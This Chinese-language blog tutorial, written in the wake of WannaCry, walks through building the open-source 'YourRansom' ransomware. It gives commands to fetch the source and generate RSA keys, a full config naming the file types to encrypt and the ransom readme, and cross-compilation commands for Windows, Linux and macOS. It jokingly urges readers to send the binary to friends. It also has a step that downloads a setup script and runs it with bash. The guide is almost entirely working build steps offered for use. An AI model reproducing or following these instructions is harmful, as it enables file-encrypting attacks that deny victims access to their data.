勒索软件-从入门到入狱

前言

近日,WannaCry 勒索病毒传遍全球,在 Github 闲逛时发现此开源勒索软件,遂写一篇编译教程。[hermit auto=”0″ loop=”0″ unexpand=”0″ fullheight=”0″]remote#:3[/hermit]

更新记录

2017年5月27日 随Github更新编译方案

环境安装

由于本程序使用了 Golang 编写,我们需要安装相关编译环境,在此直接使用 Easyenv 安装。

运行以下代码,选择安装 Golang 运行环境。

wget https://raw.githubusercontent.com/FunctionClub/Easyenv/master/easyenv.sh
bash easyenv.sh

安装完成后,我们需要断开 SSH 链接,并重新链接来重新载入配置文件。

源码获取

安装完运行环境,我们就要开始编译的第一步-获取源码

运行以下代码

go get github.com/YourRansom/YourRansom
go get github.com/YourRansom/confGen
go get github.com/YourRansom/YourRansom-keyDecryptor

生成配置文件

因为这个程序使用了一些 Naive 的方法来保护配置文件,我们需要使用工具生成它。

首先,编译配置文件生成工具

cd ~/workspace/src/github.com/YourRansom/confGen
go build

然后,下载密钥对生成工具并运行(https://github.com/YourRansom/genKeypair/releases)

#Linux 64位
wget https://github.com/YourRansom/genKeypair/releases/download/v1/linux-64
./linux-64
#Linux 32位
https://github.com/YourRansom/genKeypair/releases/download/v1/linux-86
./linux-86
#其他系统请前往Github下载
#复制public.key备用

引用部分已不再需要,仅留为纪念
然后,我们需要一个 RSA 非对称密钥来加密文件

openssl genrsa -out privatekey.pem 2048
openssl rsa -in privatekey.pem -out publickey.pem -pubout
cat publickey.pem

然后将密钥中的换行替换为\n
例如:

替换前:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyoeXLHjLro3kZH/QO8Ji
xH1rT+wZtxjxAkz5s53yDqPd3Zx7PJV7FCyb0G+SzrhVTjbMOFZVktCWtUyW9uj6
iXE54Q7TJEtzF6JYt8wf39v3VIzzb25TXtMGnxrRWu82aRFxawXj8g5EMwWCblzE
XKKCIIfYreV0rN/bUXWCjUW2nNXSQOhv3feT3yWW8HsTRMlqrZJDPbGm2SnK/NbI
trrY4G8BRVgL7mxzjcEiSfL5TC+nzDAyJFgjJmxiz67m6oU4kdpoONG2aBOtgKos
Vd+1+11eVoY1730rlflevMoKVfK08BhiPuTIwEa3gebUQhzn/lbUP14t+9NKFr2o
zQIDAQAB
-----END PUBLIC KEY-----

替换后:

-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyoeXLHjLro3kZH/QO8Ji\nxH1rT+wZtxjxAkz5s53yDqPd3Zx7PJV7FCyb0G+SzrhVTjbMOFZVktCWtUyW9uj6\niXE54Q7TJEtzF6JYt8wf39v3VIzzb25TXtMGnxrRWu82aRFxawXj8g5EMwWCblzE\nXKKCIIfYreV0rN/bUXWCjUW2nNXSQOhv3feT3yWW8HsTRMlqrZJDPbGm2SnK/NbI\ntrrY4G8BRVgL7mxzjcEiSfL5TC+nzDAyJFgjJmxiz67m6oU4kdpoONG2aBOtgKos\nVd+1+11eVoY1730rlflevMoKVfK08BhiPuTIwEa3gebUQhzn/lbUP14t+9NKFr2o\nzQIDAQAB\n-----END PUBLIC KEY-----

接下来,我们复制一份配置文件,并修改它

cp example.json conf.json
vim conf.json

以下为配置文件范例

{
  "PubKeyN": "188/225/3/242/125/134/77/59/237/239/97/25/15/160/179/9/215/215/135/214/184/179/118/26/108/85/231/86/88/3/168/88/118/117/143/214/100/42/175/122/27/179/12/176/50/233/171/187/91/141/144/227/52/239/230/210/92/163/211/67/145/254/132/83/248/112/158/144/233/165/54/12/103/5/163/4/81/187/59/221/22/33/34/136/23/45/173/114/18/14/161/57/136/72/131/33/230/124/133/184/168/176/64/147/207/208/105/93/231/218/221/194/204/202/67/32/223/242/84/128/2/86/187/40/168/121/210/239",
  "PubKeyE": 65537,
  "Filesuffix": ".0x02",
  "KeyFilename": "YR0x02.key",
  "DkeyFilename": "YR0x02",
  "Alert": "New game, old code",
  "Readme": "Just smile :) and click https://github.com/YourRansom/YourRansom for your files back.",
  "ReadmeFilename": "readme.txt",
  "ReadmeUrl": "",
  "ReadmeNetFilename": "",
  "EncSuffix": ".vmdk|.txt|.zip|.rar|.7z|.doc|.docx|.ppt|.pptx|.xls|.xlsx|.jpg|.gif|.jpeg|.png|.mpg|.mov|.mp4|.avi|.mp3|.pdf|.psd",
  "SkipHidden": true
}

以下为各项对应的内容

配置项名 配置说明 备注
PubKeyN RSA公钥的N参数 在生成工具输出的public.key文件中
PubKeyE RSA公钥的E参数 在生成工具输出的public.key文件中
KeyFilename 加密后存储Key的文件名
DkeyFilename 解密时用于读取解密Key的文件名
Alert 程序启动时显示的提示信息
Readme 离线readme的内容 仅在线模式失败有效
ReadmeFilename 离线readme的存储文件名 同上
ReadmeUrl 在线readme的下载地址 留空不使用在线readme
ReadmeNetFilename 在线readme的存储文件名
EncSuffix 指定要被加密的文件后缀 格式为后缀1|后缀2|后缀3

 

之后,我们只需运行配置文件生成器,并将生成的配置文件写入主程序编译

./confGen 配置文件加密密钥(8位) conf.json
cat conf.json.enc
#将此处的输出复制
cd ~/workspace/src/github.com/YourRansom/YourRansom
vim config.go
#将复制内容填入configE,将配置文件加密密钥填入configPw

程序编译

这时候,闷声做大死的时候到了

以下为编译命令:

#Windows 32位
GOOS=windows GOARCH=386 go build github.com/YourRansom/YourRansom
#Windows 64位
GOOS=windows GOARCH=amd64 go build github.com/YourRansom/YourRansom
#Linux 32位
GOOS=linux GOARCH=386 go build github.com/YourRansom/YourRansom
#Linux 64位
GOOS=linux GOARCH=amd64 go build github.com/YourRansom/YourRansom
#macOS (仅64位)
GOOS=darwin GOARCH=amd64 go build github.com/YourRansom/YourRansom

将编译后的文件发送给朋友,并且分享喜悦。

文件解密

如果不想被打,请认真阅读本段。

首先,先编译下密钥工具

cd ~/workspace/src/github.com/YourRansom/YourRansom-keyDecryptor
go build

然后,将私钥重命名为YourRansom.private,放置于同目录下,使用-k=[FILENAME]参数选择要解密的key,默认为解密YourRansom.key文件。

./YourRansom-keyDecryptor
./YourRansom-keyDecryptor -k 你的key文件

最后,将YourRansom.dkey文件更名为你设置的DkeyFilename配置项,再次执行 YourRansom 即可解密。

12 条评论

发表评论

*